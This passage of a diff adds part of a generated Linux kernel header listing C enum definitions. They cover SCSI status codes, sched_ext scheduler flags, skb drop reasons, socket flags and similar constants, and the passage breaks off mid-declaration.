RXDONE_SIGNAL_MCS = 4, + RXDONE_MY_BSS = 8, + RXDONE_CRYPTO_IV = 16, + RXDONE_CRYPTO_ICV = 32, + RXDONE_L2PAD = 64, +}; + +enum s2idle_states { + S2IDLE_STATE_NONE = 0, + S2IDLE_STATE_ENTER = 1, + S2IDLE_STATE_WAKE = 2, +}; + +enum s_alloc { + sa_rootdomain = 0, + sa_sd = 1, + sa_sd_storage = 2, + sa_none = 3, +}; + +enum sam_status { + SAM_STAT_GOOD = 0, + SAM_STAT_CHECK_CONDITION = 2, + SAM_STAT_CONDITION_MET = 4, + SAM_STAT_BUSY = 8, + SAM_STAT_INTERMEDIATE = 16, + SAM_STAT_INTERMEDIATE_CONDITION_MET = 20, + SAM_STAT_RESERVATION_CONFLICT = 24, + SAM_STAT_COMMAND_TERMINATED = 34, + SAM_STAT_TASK_SET_FULL = 40, + SAM_STAT_ACA_ACTIVE = 48, + SAM_STAT_TASK_ABORTED = 64, +}; + +enum sanyo_state { + STATE_INACTIVE___6 = 0, + STATE_HEADER_SPACE___3 = 1, + STATE_BIT_PULSE___3 = 2, + STATE_BIT_SPACE___3 = 3, + STATE_TRAILER_PULSE___3 = 4, + STATE_TRAILER_SPACE___3 = 5, +}; + +enum scan_balance { + SCAN_EQUAL = 0, + SCAN_FRACT = 1, + SCAN_ANON = 2, + SCAN_FILE = 3, +}; + +enum scan_config_flags { + SCAN_CONFIG_FLAG_ACTIVATE = 1, + SCAN_CONFIG_FLAG_DEACTIVATE = 2, + SCAN_CONFIG_FLAG_FORBID_CHUB_REQS = 4, + SCAN_CONFIG_FLAG_ALLOW_CHUB_REQS = 8, + SCAN_CONFIG_FLAG_SET_TX_CHAINS = 256, + SCAN_CONFIG_FLAG_SET_RX_CHAINS = 512, + SCAN_CONFIG_FLAG_SET_AUX_STA_ID = 1024, + SCAN_CONFIG_FLAG_SET_ALL_TIMES = 2048, + SCAN_CONFIG_FLAG_SET_EFFECTIVE_TIMES = 4096, + SCAN_CONFIG_FLAG_SET_CHANNEL_FLAGS = 8192, + SCAN_CONFIG_FLAG_SET_LEGACY_RATES = 16384, + SCAN_CONFIG_FLAG_SET_MAC_ADDR = 32768, + SCAN_CONFIG_FLAG_SET_FRAGMENTED = 65536, + SCAN_CONFIG_FLAG_CLEAR_FRAGMENTED = 131072, + SCAN_CONFIG_FLAG_SET_CAM_MODE = 262144, + SCAN_CONFIG_FLAG_CLEAR_CAM_MODE = 524288, + SCAN_CONFIG_FLAG_SET_PROMISC_MODE = 1048576, + SCAN_CONFIG_FLAG_CLEAR_PROMISC_MODE = 2097152, + SCAN_CONFIG_FLAG_SET_LMAC2_FRAGMENTED = 4194304, + SCAN_CONFIG_FLAG_CLEAR_LMAC2_FRAGMENTED = 8388608, +}; + +enum scan_framework_client { + SCAN_CLIENT_SCHED_SCAN = 1, + SCAN_CLIENT_NETDETECT = 2, + SCAN_CLIENT_ASSET_TRACKING = 4, +}; + +enum scan_result { + SCAN_FAIL = 0, + SCAN_SUCCEED = 1, + SCAN_PMD_NULL = 2, + SCAN_PMD_NONE = 3, + SCAN_PMD_MAPPED = 4, + SCAN_EXCEED_NONE_PTE = 5, + SCAN_EXCEED_SWAP_PTE = 6, + SCAN_EXCEED_SHARED_PTE = 7, + SCAN_PTE_NON_PRESENT = 8, + SCAN_PTE_UFFD_WP = 9, + SCAN_PTE_MAPPED_HUGEPAGE = 10, + SCAN_PAGE_RO = 11, + SCAN_LACK_REFERENCED_PAGE = 12, + SCAN_PAGE_NULL = 13, + SCAN_SCAN_ABORT = 14, + SCAN_PAGE_COUNT = 15, + SCAN_PAGE_LRU = 16, + SCAN_PAGE_LOCK = 17, + SCAN_PAGE_ANON = 18, + SCAN_PAGE_COMPOUND = 19, + SCAN_ANY_PROCESS = 20, + SCAN_VMA_NULL = 21, + SCAN_VMA_CHECK = 22, + SCAN_ADDRESS_RANGE = 23, + SCAN_DEL_PAGE_LRU = 24, + SCAN_ALLOC_HUGE_PAGE_FAIL = 25, + SCAN_CGROUP_CHARGE_FAIL = 26, + SCAN_TRUNCATED = 27, + SCAN_PAGE_HAS_PRIVATE = 28, + SCAN_STORE_FAILED = 29, + SCAN_COPY_MC = 30, + SCAN_PAGE_FILLED = 31, +}; + +enum scb_cmd_hi { + irq_mask_none = 0, + irq_mask_all = 1, + irq_sw_gen = 2, +}; + +enum scb_cmd_lo { + cuc_nop = 0, + ruc_start = 1, + ruc_load_base = 6, + cuc_start = 16, + cuc_resume = 32, + cuc_dump_addr = 64, + cuc_dump_stats = 80, + cuc_load_base = 96, + cuc_dump_reset = 112, +}; + +enum scb_stat_ack { + stat_ack_not_ours = 0, + stat_ack_sw_gen = 4, + stat_ack_rnr = 16, + stat_ack_cu_idle = 32, + stat_ack_frame_rx = 64, + stat_ack_cu_cmd_done = 128, + stat_ack_not_present = 255, + stat_ack_rx = 84, + stat_ack_tx = 160, +}; + +enum scb_status { + rus_no_res = 8, + rus_ready = 16, + rus_mask = 60, +}; + +enum sched_tunable_scaling { + SCHED_TUNABLESCALING_NONE = 0, + SCHED_TUNABLESCALING_LOG = 1, + SCHED_TUNABLESCALING_LINEAR = 2, + SCHED_TUNABLESCALING_END = 3, +}; + +enum scrub_stripe_flags { + SCRUB_STRIPE_FLAG_INITIALIZED = 0, + SCRUB_STRIPE_FLAG_REPAIR_DONE = 1, + SCRUB_STRIPE_FLAG_NO_REPORT = 2, +}; + +enum scsi_cmnd_submitter { + SUBMITTED_BY_BLOCK_LAYER = 0, + SUBMITTED_BY_SCSI_ERROR_HANDLER = 1, + SUBMITTED_BY_SCSI_RESET_IOCTL = 2, +} __attribute__((mode(byte))); + +enum scsi_device_event { + SDEV_EVT_MEDIA_CHANGE = 1, + SDEV_EVT_INQUIRY_CHANGE_REPORTED = 2, + SDEV_EVT_CAPACITY_CHANGE_REPORTED = 3, + SDEV_EVT_SOFT_THRESHOLD_REACHED_REPORTED = 4, + SDEV_EVT_MODE_PARAMETER_CHANGE_REPORTED = 5, + SDEV_EVT_LUN_CHANGE_REPORTED = 6, + SDEV_EVT_ALUA_STATE_CHANGE_REPORTED = 7, + SDEV_EVT_POWER_ON_RESET_OCCURRED = 8, + SDEV_EVT_FIRST = 1, + SDEV_EVT_LAST = 8, + SDEV_EVT_MAXBITS = 9, +}; + +enum scsi_device_state { + SDEV_CREATED = 1, + SDEV_RUNNING = 2, + SDEV_CANCEL = 3, + SDEV_DEL = 4, + SDEV_QUIESCE = 5, + SDEV_OFFLINE = 6, + SDEV_TRANSPORT_OFFLINE = 7, + SDEV_BLOCK = 8, + SDEV_CREATED_BLOCK = 9, +}; + +enum scsi_devinfo_key { + SCSI_DEVINFO_GLOBAL = 0, + SCSI_DEVINFO_SPI = 1, +}; + +enum scsi_disposition { + NEEDS_RETRY = 8193, + SUCCESS = 8194, + FAILED = 8195, + QUEUED = 8196, + SOFT_ERROR = 8197, + ADD_TO_MLQUEUE = 8198, + TIMEOUT_ERROR = 8199, + SCSI_RETURN_NOT_HANDLED = 8200, + FAST_IO_FAIL = 8201, +}; + +enum scsi_host_prot_capabilities { + SHOST_DIF_TYPE1_PROTECTION = 1, + SHOST_DIF_TYPE2_PROTECTION = 2, + SHOST_DIF_TYPE3_PROTECTION = 4, + SHOST_DIX_TYPE0_PROTECTION = 8, + SHOST_DIX_TYPE1_PROTECTION = 16, + SHOST_DIX_TYPE2_PROTECTION = 32, + SHOST_DIX_TYPE3_PROTECTION = 64, +}; + +enum scsi_host_state { + SHOST_CREATED = 1, + SHOST_RUNNING = 2, + SHOST_CANCEL = 3, + SHOST_DEL = 4, + SHOST_RECOVERY = 5, + SHOST_CANCEL_RECOVERY = 6, + SHOST_DEL_RECOVERY = 7, +}; + +enum scsi_host_status { + DID_OK = 0, + DID_NO_CONNECT = 1, + DID_BUS_BUSY = 2, + DID_TIME_OUT = 3, + DID_BAD_TARGET = 4, + DID_ABORT = 5, + DID_PARITY = 6, + DID_ERROR = 7, + DID_RESET = 8, + DID_BAD_INTR = 9, + DID_PASSTHROUGH = 10, + DID_SOFT_ERROR = 11, + DID_IMM_RETRY = 12, + DID_REQUEUE = 13, + DID_TRANSPORT_DISRUPTED = 14, + DID_TRANSPORT_FAILFAST = 15, + DID_TRANSPORT_MARGINAL = 20, +}; + +enum scsi_ml_status { + SCSIML_STAT_OK = 0, + SCSIML_STAT_RESV_CONFLICT = 1, + SCSIML_STAT_NOSPC = 2, + SCSIML_STAT_MED_ERROR = 3, + SCSIML_STAT_TGT_FAILURE = 4, + SCSIML_STAT_DL_TIMEOUT = 5, +}; + +enum scsi_msg_byte { + COMMAND_COMPLETE = 0, + EXTENDED_MESSAGE = 1, + SAVE_POINTERS = 2, + RESTORE_POINTERS = 3, + DISCONNECT = 4, + INITIATOR_ERROR = 5, + ABORT_TASK_SET = 6, + MESSAGE_REJECT = 7, + NOP___2 = 8, + MSG_PARITY_ERROR = 9, + LINKED_CMD_COMPLETE = 10, + LINKED_FLG_CMD_COMPLETE = 11, + TARGET_RESET = 12, + ABORT_TASK = 13, + CLEAR_TASK_SET = 14, + INITIATE_RECOVERY = 15, + RELEASE_RECOVERY = 16, + TERMINATE_IO_PROC = 17, + CLEAR_ACA = 22, + LOGICAL_UNIT_RESET = 23, + SIMPLE_QUEUE_TAG = 32, + HEAD_OF_QUEUE_TAG = 33, + ORDERED_QUEUE_TAG = 34, + IGNORE_WIDE_RESIDUE = 35, + ACA = 36, + QAS_REQUEST = 85, + BUS_DEVICE_RESET = 12, + ABORT = 6, +}; + +enum scsi_pr_type { + SCSI_PR_WRITE_EXCLUSIVE = 1, + SCSI_PR_EXCLUSIVE_ACCESS = 3, + SCSI_PR_WRITE_EXCLUSIVE_REG_ONLY = 5, + SCSI_PR_EXCLUSIVE_ACCESS_REG_ONLY = 6, + SCSI_PR_WRITE_EXCLUSIVE_ALL_REGS = 7, + SCSI_PR_EXCLUSIVE_ACCESS_ALL_REGS = 8, +}; + +enum scsi_prot_flags { + SCSI_PROT_TRANSFER_PI = 1, + SCSI_PROT_GUARD_CHECK = 2, + SCSI_PROT_REF_CHECK = 4, + SCSI_PROT_REF_INCREMENT = 8, + SCSI_PROT_IP_CHECKSUM = 16, +}; + +enum scsi_prot_operations { + SCSI_PROT_NORMAL = 0, + SCSI_PROT_READ_INSERT = 1, + SCSI_PROT_WRITE_STRIP = 2, + SCSI_PROT_READ_STRIP = 3, + SCSI_PROT_WRITE_INSERT = 4, + SCSI_PROT_READ_PASS = 5, + SCSI_PROT_WRITE_PASS = 6, +}; + +enum scsi_scan_mode { + SCSI_SCAN_INITIAL = 0, + SCSI_SCAN_RESCAN = 1, + SCSI_SCAN_MANUAL = 2, +}; + +enum scsi_target_state { + STARGET_CREATED = 1, + STARGET_RUNNING = 2, + STARGET_REMOVE = 3, + STARGET_CREATED_REMOVE = 4, + STARGET_DEL = 5, +}; + +enum scsi_timeout_action { + SCSI_EH_DONE = 0, + SCSI_EH_RESET_TIMER = 1, + SCSI_EH_NOT_HANDLED = 2, +}; + +enum scsi_timeouts { + SCSI_DEFAULT_EH_TIMEOUT = 10000, +}; + +enum scsi_vpd_parameters { + SCSI_VPD_HEADER_SIZE = 4, + SCSI_VPD_LIST_SIZE = 36, +}; + +enum sctp_conntrack { + SCTP_CONNTRACK_NONE = 0, + SCTP_CONNTRACK_CLOSED = 1, + SCTP_CONNTRACK_COOKIE_WAIT = 2, + SCTP_CONNTRACK_COOKIE_ECHOED = 3, + SCTP_CONNTRACK_ESTABLISHED = 4, + SCTP_CONNTRACK_SHUTDOWN_SENT = 5, + SCTP_CONNTRACK_SHUTDOWN_RECD = 6, + SCTP_CONNTRACK_SHUTDOWN_ACK_SENT = 7, + SCTP_CONNTRACK_HEARTBEAT_SENT = 8, + SCTP_CONNTRACK_HEARTBEAT_ACKED = 9, + SCTP_CONNTRACK_MAX = 10, +}; + +enum scx_consts { + SCX_DSP_DFL_MAX_BATCH = 32, + SCX_DSP_MAX_LOOPS = 32, + SCX_WATCHDOG_MAX_TIMEOUT = 30000, + SCX_EXIT_BT_LEN = 64, + SCX_EXIT_MSG_LEN = 1024, + SCX_EXIT_DUMP_DFL_LEN = 32768, + SCX_CPUPERF_ONE = 1024, +}; + +enum scx_cpu_preempt_reason { + SCX_CPU_PREEMPT_RT = 0, + SCX_CPU_PREEMPT_DL = 1, + SCX_CPU_PREEMPT_STOP = 2, + SCX_CPU_PREEMPT_UNKNOWN = 3, +}; + +enum scx_deq_flags { + SCX_DEQ_SLEEP = 1ULL, + SCX_DEQ_CORE_SCHED_EXEC = 4294967296ULL, +}; + +enum scx_dsq_id_flags { + SCX_DSQ_FLAG_BUILTIN = 9223372036854775808ULL, + SCX_DSQ_FLAG_LOCAL_ON = 4611686018427387904ULL, + SCX_DSQ_INVALID = 9223372036854775808ULL, + SCX_DSQ_GLOBAL = 9223372036854775809ULL, + SCX_DSQ_LOCAL = 9223372036854775810ULL, + SCX_DSQ_LOCAL_ON = 13835058055282163712ULL, + SCX_DSQ_LOCAL_CPU_MASK = 4294967295ULL, +}; + +enum scx_dsq_iter_flags { + SCX_DSQ_ITER_REV = 65536, + __SCX_DSQ_ITER_HAS_SLICE = 1073741824, + __SCX_DSQ_ITER_HAS_VTIME = 2147483648, + __SCX_DSQ_ITER_USER_FLAGS = 65536, + __SCX_DSQ_ITER_ALL_FLAGS = 3221291008, +}; + +enum scx_dsq_lnode_flags { + SCX_DSQ_LNODE_ITER_CURSOR = 1, + __SCX_DSQ_LNODE_PRIV_SHIFT = 16, +}; + +enum scx_enq_flags { + SCX_ENQ_WAKEUP = 1ULL, + SCX_ENQ_HEAD = 16ULL, + SCX_ENQ_PREEMPT = 4294967296ULL, + SCX_ENQ_REENQ = 1099511627776ULL, + SCX_ENQ_LAST = 2199023255552ULL, + __SCX_ENQ_INTERNAL_MASK = 18374686479671623680ULL, + SCX_ENQ_CLEAR_OPSS = 72057594037927936ULL, + SCX_ENQ_DSQ_PRIQ = 144115188075855872ULL, +}; + +enum scx_ent_dsq_flags { + SCX_TASK_DSQ_ON_PRIQ = 1, +}; + +enum scx_ent_flags { + SCX_TASK_QUEUED = 1, + SCX_TASK_RESET_RUNNABLE_AT = 4, + SCX_TASK_DEQD_FOR_SLEEP = 8, + SCX_TASK_STATE_SHIFT = 8, + SCX_TASK_STATE_BITS = 2, + SCX_TASK_STATE_MASK = 768, + SCX_TASK_CURSOR = -2147483648, +}; + +enum scx_exit_code { + SCX_ECODE_RSN_HOTPLUG = 4294967296ULL, + SCX_ECODE_ACT_RESTART = 281474976710656ULL, +}; + +enum scx_exit_kind { + SCX_EXIT_NONE = 0, + SCX_EXIT_DONE = 1, + SCX_EXIT_UNREG = 64, + SCX_EXIT_UNREG_BPF = 65, + SCX_EXIT_UNREG_KERN = 66, + SCX_EXIT_SYSRQ = 67, + SCX_EXIT_ERROR = 1024, + SCX_EXIT_ERROR_BPF = 1025, + SCX_EXIT_ERROR_STALL = 1026, +}; + +enum scx_kf_mask { + SCX_KF_UNLOCKED = 0, + SCX_KF_CPU_RELEASE = 1, + SCX_KF_DISPATCH = 2, + SCX_KF_ENQUEUE = 4, + SCX_KF_SELECT_CPU = 8, + SCX_KF_REST = 16, + __SCX_KF_RQ_LOCKED = 31, + __SCX_KF_TERMINAL = 28, +}; + +enum scx_kick_flags { + SCX_KICK_IDLE = 1, + SCX_KICK_PREEMPT = 2, + SCX_KICK_WAIT = 4, +}; + +enum scx_opi { + SCX_OPI_BEGIN = 0, + SCX_OPI_NORMAL_BEGIN = 0, + SCX_OPI_NORMAL_END = 29, + SCX_OPI_CPU_HOTPLUG_BEGIN = 29, + SCX_OPI_CPU_HOTPLUG_END = 31, + SCX_OPI_END = 31, +}; + +enum scx_ops_enable_state { + SCX_OPS_PREPPING = 0, + SCX_OPS_ENABLING = 1, + SCX_OPS_ENABLED = 2, + SCX_OPS_DISABLING = 3, + SCX_OPS_DISABLED = 4, +}; + +enum scx_ops_flags { + SCX_OPS_KEEP_BUILTIN_IDLE = 1, + SCX_OPS_ENQ_LAST = 2, + SCX_OPS_ENQ_EXITING = 4, + SCX_OPS_SWITCH_PARTIAL = 8, + SCX_OPS_HAS_CGROUP_WEIGHT = 65536, + SCX_OPS_ALL_FLAGS = 65551, +}; + +enum scx_ops_state { + SCX_OPSS_NONE = 0, + SCX_OPSS_QUEUEING = 1, + SCX_OPSS_QUEUED = 2, + SCX_OPSS_DISPATCHING = 3, + SCX_OPSS_QSEQ_SHIFT = 2, +}; + +enum scx_pick_idle_cpu_flags { + SCX_PICK_IDLE_CORE = 1, +}; + +enum scx_public_consts { + SCX_OPS_NAME_LEN = 128ULL, + SCX_SLICE_DFL = 20000000ULL, + SCX_SLICE_INF = 18446744073709551615ULL, +}; + +enum scx_rq_flags { + SCX_RQ_ONLINE = 1, + SCX_RQ_CAN_STOP_TICK = 2, + SCX_RQ_BAL_KEEP = 4, + SCX_RQ_BYPASSING = 8, + SCX_RQ_IN_WAKEUP = 65536, + SCX_RQ_IN_BALANCE = 131072, +}; + +enum scx_task_state { + SCX_TASK_NONE = 0, + SCX_TASK_INIT = 1, + SCX_TASK_READY = 2, + SCX_TASK_ENABLED = 3, + SCX_TASK_NR_STATES = 4, +}; + +enum scx_tg_flags { + SCX_TG_ONLINE = 1, + SCX_TG_INITED = 2, +}; + +enum scx_wake_flags { + SCX_WAKE_FORK = 4, + SCX_WAKE_TTWU = 8, + SCX_WAKE_SYNC = 16, +}; + +enum serio_event_type { + SERIO_RESCAN_PORT = 0, + SERIO_RECONNECT_PORT = 1, + SERIO_RECONNECT_SUBTREE = 2, + SERIO_REGISTER_PORT = 3, + SERIO_ATTACH_DRIVER = 4, +}; + +enum set_key_cmd { + SET_KEY = 0, + DISABLE_KEY = 1, +}; + +enum sgp_type { + SGP_READ = 0, + SGP_NOALLOC = 1, + SGP_CACHE = 2, + SGP_WRITE = 3, + SGP_FALLOC = 4, +}; + +enum sharp_state { + STATE_INACTIVE___7 = 0, + STATE_BIT_PULSE___4 = 1, + STATE_BIT_SPACE___4 = 2, + STATE_TRAILER_PULSE___4 = 3, + STATE_ECHO_SPACE = 4, + STATE_TRAILER_SPACE___4 = 5, +}; + +enum shmem_param { + Opt_gid___10 = 0, + Opt_huge = 1, + Opt_mode___7 = 2, + Opt_mpol = 3, + Opt_nr_blocks = 4, + Opt_nr_inodes___2 = 5, + Opt_size___2 = 6, + Opt_uid___9 = 7, + Opt_inode32 = 8, + Opt_inode64 = 9, + Opt_noswap = 10, + Opt_quota___2 = 11, + Opt_usrquota___2 = 12, + Opt_grpquota___2 = 13, + Opt_usrquota_block_hardlimit = 14, + Opt_usrquota_inode_hardlimit = 15, + Opt_grpquota_block_hardlimit = 16, + Opt_grpquota_inode_hardlimit = 17, +}; + +enum show_regs_mode { + SHOW_REGS_SHORT = 0, + SHOW_REGS_USER = 1, + SHOW_REGS_ALL = 2, +}; + +enum sig_handler { + HANDLER_CURRENT = 0, + HANDLER_SIG_DFL = 1, + HANDLER_EXIT = 2, +}; + +enum siginfo_layout { + SIL_KILL = 0, + SIL_TIMER = 1, + SIL_POLL = 2, + SIL_FAULT = 3, + SIL_FAULT_TRAPNO = 4, + SIL_FAULT_MCEERR = 5, + SIL_FAULT_BNDERR = 6, + SIL_FAULT_PKUERR = 7, + SIL_FAULT_PERF_EVENT = 8, + SIL_CHLD = 9, + SIL_RT = 10, + SIL_SYS = 11, +}; + +enum sk_action { + SK_DROP = 0, + SK_PASS = 1, +}; + +enum sk_pacing { + SK_PACING_NONE = 0, + SK_PACING_NEEDED = 1, + SK_PACING_FQ = 2, +}; + +enum sk_psock_state_bits { + SK_PSOCK_TX_ENABLED = 0, + SK_PSOCK_RX_STRP_ENABLED = 1, +}; + +enum sk_rst_reason { + SK_RST_REASON_NOT_SPECIFIED = 0, + SK_RST_REASON_NO_SOCKET = 1, + SK_RST_REASON_TCP_INVALID_ACK_SEQUENCE = 2, + SK_RST_REASON_TCP_RFC7323_PAWS = 3, + SK_RST_REASON_TCP_TOO_OLD_ACK = 4, + SK_RST_REASON_TCP_ACK_UNSENT_DATA = 5, + SK_RST_REASON_TCP_FLAGS = 6, + SK_RST_REASON_TCP_OLD_ACK = 7, + SK_RST_REASON_TCP_ABORT_ON_DATA = 8, + SK_RST_REASON_TCP_TIMEWAIT_SOCKET = 9, + SK_RST_REASON_INVALID_SYN = 10, + SK_RST_REASON_TCP_ABORT_ON_CLOSE = 11, + SK_RST_REASON_TCP_ABORT_ON_LINGER = 12, + SK_RST_REASON_TCP_ABORT_ON_MEMORY = 13, + SK_RST_REASON_TCP_STATE = 14, + SK_RST_REASON_TCP_KEEPALIVE_TIMEOUT = 15, + SK_RST_REASON_TCP_DISCONNECT_WITH_DATA = 16, + SK_RST_REASON_MPTCP_RST_EUNSPEC = 17, + SK_RST_REASON_MPTCP_RST_EMPTCP = 18, + SK_RST_REASON_MPTCP_RST_ERESOURCE = 19, + SK_RST_REASON_MPTCP_RST_EPROHIBIT = 20, + SK_RST_REASON_MPTCP_RST_EWQ2BIG = 21, + SK_RST_REASON_MPTCP_RST_EBADPERF = 22, + SK_RST_REASON_MPTCP_RST_EMIDDLEBOX = 23, + SK_RST_REASON_ERROR = 24, + SK_RST_REASON_MAX = 25, +}; + +enum skb_drop_reason { + SKB_NOT_DROPPED_YET = 0, + SKB_CONSUMED = 1, + SKB_DROP_REASON_NOT_SPECIFIED = 2, + SKB_DROP_REASON_NO_SOCKET = 3, + SKB_DROP_REASON_PKT_TOO_SMALL = 4, + SKB_DROP_REASON_TCP_CSUM = 5, + SKB_DROP_REASON_SOCKET_FILTER = 6, + SKB_DROP_REASON_UDP_CSUM = 7, + SKB_DROP_REASON_NETFILTER_DROP = 8, + SKB_DROP_REASON_OTHERHOST = 9, + SKB_DROP_REASON_IP_CSUM = 10, + SKB_DROP_REASON_IP_INHDR = 11, + SKB_DROP_REASON_IP_RPFILTER = 12, + SKB_DROP_REASON_UNICAST_IN_L2_MULTICAST = 13, + SKB_DROP_REASON_XFRM_POLICY = 14, + SKB_DROP_REASON_IP_NOPROTO = 15, + SKB_DROP_REASON_SOCKET_RCVBUFF = 16, + SKB_DROP_REASON_PROTO_MEM = 17, + SKB_DROP_REASON_TCP_AUTH_HDR = 18, + SKB_DROP_REASON_TCP_MD5NOTFOUND = 19, + SKB_DROP_REASON_TCP_MD5UNEXPECTED = 20, + SKB_DROP_REASON_TCP_MD5FAILURE = 21, + SKB_DROP_REASON_TCP_AONOTFOUND = 22, + SKB_DROP_REASON_TCP_AOUNEXPECTED = 23, + SKB_DROP_REASON_TCP_AOKEYNOTFOUND = 24, + SKB_DROP_REASON_TCP_AOFAILURE = 25, + SKB_DROP_REASON_SOCKET_BACKLOG = 26, + SKB_DROP_REASON_TCP_FLAGS = 27, + SKB_DROP_REASON_TCP_ABORT_ON_DATA = 28, + SKB_DROP_REASON_TCP_ZEROWINDOW = 29, + SKB_DROP_REASON_TCP_OLD_DATA = 30, + SKB_DROP_REASON_TCP_OVERWINDOW = 31, + SKB_DROP_REASON_TCP_OFOMERGE = 32, + SKB_DROP_REASON_TCP_RFC7323_PAWS = 33, + SKB_DROP_REASON_TCP_OLD_SEQUENCE = 34, + SKB_DROP_REASON_TCP_INVALID_SEQUENCE = 35, + SKB_DROP_REASON_TCP_INVALID_ACK_SEQUENCE = 36, + SKB_DROP_REASON_TCP_RESET = 37, + SKB_DROP_REASON_TCP_INVALID_SYN = 38, + SKB_DROP_REASON_TCP_CLOSE = 39, + SKB_DROP_REASON_TCP_FASTOPEN = 40, + SKB_DROP_REASON_TCP_OLD_ACK = 41, + SKB_DROP_REASON_TCP_TOO_OLD_ACK = 42, + SKB_DROP_REASON_TCP_ACK_UNSENT_DATA = 43, + SKB_DROP_REASON_TCP_OFO_QUEUE_PRUNE = 44, + SKB_DROP_REASON_TCP_OFO_DROP = 45, + SKB_DROP_REASON_IP_OUTNOROUTES = 46, + SKB_DROP_REASON_BPF_CGROUP_EGRESS = 47, + SKB_DROP_REASON_IPV6DISABLED = 48, + SKB_DROP_REASON_NEIGH_CREATEFAIL = 49, + SKB_DROP_REASON_NEIGH_FAILED = 50, + SKB_DROP_REASON_NEIGH_QUEUEFULL = 51, + SKB_DROP_REASON_NEIGH_DEAD = 52, + SKB_DROP_REASON_TC_EGRESS = 53, + SKB_DROP_REASON_SECURITY_HOOK = 54, + SKB_DROP_REASON_QDISC_DROP = 55, + SKB_DROP_REASON_CPU_BACKLOG = 56, + SKB_DROP_REASON_XDP = 57, + SKB_DROP_REASON_TC_INGRESS = 58, + SKB_DROP_REASON_UNHANDLED_PROTO = 59, + SKB_DROP_REASON_SKB_CSUM = 60, + SKB_DROP_REASON_SKB_GSO_SEG = 61, + SKB_DROP_REASON_SKB_UCOPY_FAULT = 62, + SKB_DROP_REASON_DEV_HDR = 63, + SKB_DROP_REASON_DEV_READY = 64, + SKB_DROP_REASON_FULL_RING = 65, + SKB_DROP_REASON_NOMEM = 66, + SKB_DROP_REASON_HDR_TRUNC = 67, + SKB_DROP_REASON_TAP_FILTER = 68, + SKB_DROP_REASON_TAP_TXFILTER = 69, + SKB_DROP_REASON_ICMP_CSUM = 70, + SKB_DROP_REASON_INVALID_PROTO = 71, + SKB_DROP_REASON_IP_INADDRERRORS = 72, + SKB_DROP_REASON_IP_INNOROUTES = 73, + SKB_DROP_REASON_PKT_TOO_BIG = 74, + SKB_DROP_REASON_DUP_FRAG = 75, + SKB_DROP_REASON_FRAG_REASM_TIMEOUT = 76, + SKB_DROP_REASON_FRAG_TOO_FAR = 77, + SKB_DROP_REASON_TCP_MINTTL = 78, + SKB_DROP_REASON_IPV6_BAD_EXTHDR = 79, + SKB_DROP_REASON_IPV6_NDISC_FRAG = 80, + SKB_DROP_REASON_IPV6_NDISC_HOP_LIMIT = 81, + SKB_DROP_REASON_IPV6_NDISC_BAD_CODE = 82, + SKB_DROP_REASON_IPV6_NDISC_BAD_OPTIONS = 83, + SKB_DROP_REASON_IPV6_NDISC_NS_OTHERHOST = 84, + SKB_DROP_REASON_QUEUE_PURGE = 85, + SKB_DROP_REASON_TC_COOKIE_ERROR = 86, + SKB_DROP_REASON_PACKET_SOCK_ERROR = 87, + SKB_DROP_REASON_TC_CHAIN_NOTFOUND = 88, + SKB_DROP_REASON_TC_RECLASSIFY_LOOP = 89, + SKB_DROP_REASON_MAX = 90, + SKB_DROP_REASON_SUBSYS_MASK = 4294901760, +}; + +enum skb_drop_reason_subsys { + SKB_DROP_REASON_SUBSYS_CORE = 0, + SKB_DROP_REASON_SUBSYS_MAC80211_UNUSABLE = 1, + SKB_DROP_REASON_SUBSYS_MAC80211_MONITOR = 2, + SKB_DROP_REASON_SUBSYS_OPENVSWITCH = 3, + SKB_DROP_REASON_SUBSYS_NUM = 4, +}; + +enum skb_ext_id { + SKB_EXT_BRIDGE_NF = 0, + SKB_EXT_NUM = 1, +}; + +enum skb_frame_desc_flags { + SKBDESC_DMA_MAPPED_RX = 1, + SKBDESC_DMA_MAPPED_TX = 2, + SKBDESC_IV_STRIPPED = 4, + SKBDESC_NOT_MAC80211 = 8, + SKBDESC_DESC_IN_SKB = 16, +}; + +enum skb_tstamp_type { + SKB_CLOCK_REALTIME = 0, + SKB_CLOCK_MONOTONIC = 1, + SKB_CLOCK_TAI = 2, + __SKB_CLOCK_MAX = 2, +}; + +enum sknetlink_groups { + SKNLGRP_NONE = 0, + SKNLGRP_INET_TCP_DESTROY = 1, + SKNLGRP_INET_UDP_DESTROY = 2, + SKNLGRP_INET6_TCP_DESTROY = 3, + SKNLGRP_INET6_UDP_DESTROY = 4, + __SKNLGRP_MAX = 5, +}; + +enum slab_stat_type { + SL_ALL = 0, + SL_PARTIAL = 1, + SL_CPU = 2, + SL_OBJECTS = 3, + SL_TOTAL = 4, +}; + +enum slab_state { + DOWN = 0, + PARTIAL = 1, + UP = 2, + FULL = 3, +}; + +enum smbios_attr_enum { + SMBIOS_ATTR_NONE = 0, + SMBIOS_ATTR_LABEL_SHOW = 1, + SMBIOS_ATTR_INSTANCE_SHOW = 2, +}; + +enum snoop_when { + SUBMIT = 0, + COMPLETE___2 = 1, +}; + +enum sock_flags { + SOCK_DEAD = 0, + SOCK_DONE = 1, + SOCK_URGINLINE = 2, + SOCK_KEEPOPEN = 3, + SOCK_LINGER = 4, + SOCK_DESTROY = 5, + SOCK_BROADCAST = 6, + SOCK_TIMESTAMP = 7, + SOCK_ZAPPED = 8, + SOCK_USE_WRITE_QUEUE = 9, + SOCK_DBG = 10, + SOCK_RCVTSTAMP = 11, + SOCK_RCVTSTAMPNS = 12, + SOCK_LOCALROUTE = 13, + SOCK_MEMALLOC = 14, + SOCK_TIMESTAMPING_RX_SOFTWARE = 15, + SOCK_FASYNC = 16, + SOCK_RXQ_OVFL = 17, + SOCK_ZEROCOPY = 18, + SOCK_WIFI_STATUS = 19, + SOCK_NOFCS = 20, + SOCK_FILTER_LOCKED = 21, + SOCK_SELECT_ERR_QUEUE = 22, + SOCK_RCU_FREE = 23, + SOCK_TXTIME = 24, + SOCK_XDP = 25, + SOCK_TSTAMP_NEW = 26, + SOCK_RCVMARK = 27, +}; + +enum sock_shutdown_cmd { + SHUT_RD = 0, + SHUT_WR = 1, + SHUT_RDWR = 2, +}; + +enum sock_type { + SOCK_STREAM = 1, + SOCK_DGRAM = 2, + SOCK_RAW = 3, + SOCK_RDM = 4, + SOCK_SEQPACKET = 5, + SOCK_DCCP = 6, + SOCK_PACKET = 10, +}; + +enum sony_state { + STATE_INACTIVE___8 = 0, + STATE_HEADER_SPACE___4 = 1, + STATE_BIT_PULSE___5 = 2, + STATE_BIT_SPACE___5 = 3, + STATE_FINISHED___4 = 4, +}; + +enum 